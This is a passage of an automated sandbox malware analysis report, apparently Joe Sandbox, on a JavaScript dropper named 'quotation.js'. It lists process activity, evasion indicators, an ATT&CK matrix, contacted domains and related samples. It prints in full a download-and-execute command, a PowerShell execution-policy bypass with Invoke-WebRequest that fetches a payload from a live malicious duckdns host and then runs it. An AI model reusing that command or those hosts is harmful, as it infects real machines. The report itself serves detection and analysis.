Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 10_2_00007FFAAC154D9C rdtsc

10_2_00007FFAAC154D9C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4560			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5295			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7184	Thread sleep count: 4560 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7188	Thread sleep count: 5295 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7256	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7344	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior

Source: wscript.exe, 00000001.00000002.1792296152.00000274B409D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1792296152.00000274B3FF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000A.00000002.1785472340.00000234C1D60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 10_2_00007FFAAC154D9C rdtsc

10_2_00007FFAAC154D9C

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe

Network Connect: 104.26.3.16 443

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tempScript.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.php' -OutFile 'C:\Users\user~1\AppData\Local\Temp\Update.php' "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\Update.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wscript.exe	Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wscript.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	122 Scripting	Valid Accounts	1 Windows Management Instrumentation	122 Scripting	111 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rentry.co	1%	Virustotal		Browse
timmy02.duckdns.org	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.phpP	100%	Avira URL Cloud	malware
https://rentry.co/6yg2yfkf/raw9	0%	Avira URL Cloud	safe
http://timmy02.duckdns.org/uploads/186024/quotation.vbs.php	100%	Avira URL Cloud	malware
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
http://timmy02.duckdns.org/uploads/186024/Quo	100%	Avira URL Cloud	malware
https://rentry.co/	0%	Avira URL Cloud	safe
https://rentry.co:443/6yg2yfkf/raw	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://rentry.co/6yg2yfkf/raw	0%	Avira URL Cloud	safe
https://rentry.co/	1%	Virustotal		Browse
http://timmy02.duckdns.org	100%	Avira URL Cloud	malware
https://rentry.co/6yg2yfkf/rawD6	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.phpCommonProgramFiles=C:	100%	Avira URL Cloud	malware
http://timmy02.duckdns.org	4%	Virustotal		Browse
https://rentry.co:443/6yg2yfkf/raw	4%	Virustotal		Browse
https://rentry.co/6yg2yfkf/raw	4%	Virustotal		Browse
http://timmy02.duckdns.org/uploads/186024/Quo	5%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
rentry.co	104.26.3.16	true	true	1%, Virustotal, Browse	unknown
timmy02.duckdns.org	41.105.186.133	true	true	4%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.php	true		unknown
https://rentry.co/6yg2yfkf/raw	true	4%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.phpP	wscript.exe, 00000001.00000002.1794047481.00000274B6A06000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000A.00000002.1767404550.00000234AB056000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1781643384.00000234B9712000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1781643384.00000234B9855000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rentry.co/6yg2yfkf/raw9	wscript.exe, 00000001.00000002.1792296152.00000274B3FF9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://timmy02.duckdns.org/uploads/186024/quotation.vbs.php	powershell.exe, 0000000A.00000002.1766329922.00000234A7BD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000A.00000002.1767404550.00000234A98CC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000A.00000002.1767404550.00000234A98CC000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://timmy02.duckdns.org/uploads/186024/Quo	powershell.exe, 0000000A.00000002.1767404550.00000234AAC98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1767404550.00000234AAC66000.00000004.00000800.00020000.00000000.sdmp	true	5%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://go.micro	powershell.exe, 0000000A.00000002.1767404550.00000234AA2CC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rentry.co/	wscript.exe, 00000001.00000002.1792296152.00000274B3FF9000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 0000000A.00000002.1781643384.00000234B9855000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000A.00000002.1767404550.00000234AB056000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1781643384.00000234B9712000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1781643384.00000234B9855000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 0000000A.00000002.1781643384.00000234B9855000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rentry.co:443/6yg2yfkf/raw	wscript.exe, 00000001.00000002.1792296152.00000274B3FF9000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.1781643384.00000234B9855000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://timmy02.duckdns.org	powershell.exe, 0000000A.00000002.1767404550.00000234AA9D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1767404550.00000234AAC92000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1767404550.00000234AAC6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1767404550.00000234AAC78000.00000004.00000800.00020000.00000000.sdmp	true	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://rentry.co/6yg2yfkf/rawD6	wscript.exe, 00000001.00000002.1792296152.00000274B3FF9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 0000000A.00000002.1767404550.00000234A96A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000A.00000002.1767404550.00000234A96A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000A.00000002.1767404550.00000234A98CC000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.phpCommonProgramFiles=C:	powershell.exe, 0000000A.00000002.1766329922.00000234A7BD0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1766381913.00000234A7BF0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1766329922.00000234A7BD4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1785472340.00000234C1D60000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1766480583.00000234A7CE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
41.105.186.133	timmy02.duckdns.org	Algeria		36947	ALGTEL-ASDZ	true
104.26.3.16	rentry.co	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502676
Start date and time:	2024-09-02 07:46:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	quotation.js
Detection:	MAL
Classification:	mal100.troj.expl.evad.winJS@11/5@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 2 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe, UsoClient.exe
Excluded domains from analysis (whitelisted): login.live.com, slscr.update.microsoft.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 5428 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:47:18	API Interceptor	235x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.26.3.16	Quote.js	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.9087.16441.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.11541.5330.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.9087.16441.exe	Get hash	malicious	Unknown	Browse
	CV.vbs	Get hash	malicious	Xmrig	Browse
	system47.exe	Get hash	malicious	XWorm	Browse
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse
	S982i1J0Uk.msi	Get hash	malicious	Unknown	Browse
	cliente.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
rentry.co	Quote.js	Get hash	malicious	Unknown	Browse	104.26.3.16
	SecuriteInfo.com.Win64.MalwareX-gen.9087.16441.exe	Get hash	malicious	Unknown	Browse	104.26.3.16
	SecuriteInfo.com.Win64.MalwareX-gen.11541.5330.exe	Get hash	malicious	Unknown	Browse	104.26.3.16
	SecuriteInfo.com.Win64.MalwareX-gen.9087.16441.exe	Get hash	malicious	Unknown	Browse	104.26.3.16
	SecuriteInfo.com.Win64.MalwareX-gen.11541.5330.exe	Get hash	malicious	Unknown	Browse	104.26.2.16
	CV.vbs	Get hash	malicious	Xmrig	Browse	104.26.3.16
	SecuriteInfo.com.Trojan.GenericFCA.Script.33276.27996.26811.exe	Get hash	malicious	Unknown	Browse	104.26.2.16
	system47.exe	Get hash	malicious	XWorm	Browse	104.26.3.16
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	104.26.3.16
	FpiUD4nYpj.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	104.26.2.16
timmy02.duckdns.org	Quote.js	Get hash	malicious	Unknown	Browse	197.207.170.98

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ALGTEL-ASDZ	mirai.dbg.elf	Get hash	malicious	Mirai	Browse	154.255.38.95
	mirai.ppc.elf	Get hash	malicious	Mirai	Browse	197.114.85.5
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	105.100.195.49
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	105.103.188.186
	Quote.js	Get hash	malicious	Unknown	Browse	197.207.170.98
	sora.m68k.elf	Get hash	malicious	Unknown	Browse	105.103.188.172
	jew.x86.elf	Get hash	malicious	Unknown	Browse	41.102.197.126
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	154.246.28.221
	KKveTTgaAAsecNNaaaa.mpsl.elf	Get hash	malicious	Unknown	Browse	197.207.194.80
	eQMWdrDEm7.elf	Get hash	malicious	Unknown	Browse	41.103.192.83
CLOUDFLARENETUS	81bl0ZlcJ3.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	ejH1Ma9DnJ.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.96.3
	xnfvsO7kVN.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	3gqQI34mVq.exe	Get hash	malicious	LummaC	Browse	172.67.152.163
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Apocalypse.exe	Get hash	malicious	LummaC, MicroClip	Browse	172.67.175.170
	SecuriteInfo.com.Win32.CrypterX-gen.29312.2664.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	SecuriteInfo.com.Trojan.Locsyz.2.2D0.720.21943.32020.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	PACIFIC ARGOSY PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	SSI Brilliant - SHIP PARTICULARS.docx.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	81bl0ZlcJ3.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.26.3.16
	ejH1Ma9DnJ.exe	Get hash	malicious	LummaC, Vidar	Browse	104.26.3.16
	xnfvsO7kVN.exe	Get hash	malicious	LummaC, Vidar	Browse	104.26.3.16
	3gqQI34mVq.exe	Get hash	malicious	LummaC	Browse	104.26.3.16
	Apocalypse.exe	Get hash	malicious	LummaC, MicroClip	Browse	104.26.3.16
	mLn7GEEpuS.exe	Get hash	malicious	CryptOne, SmokeLoader, Stealc	Browse	104.26.3.16
	https://trk.pmifunds.com/y.z?l=http://security1.b-cdn.net&j=375634604&e=3028&p=1&t=h&D6EBE0CCEBB74CE191551D6EE653FA1E	Get hash	malicious	HTMLPhisher	Browse	104.26.3.16
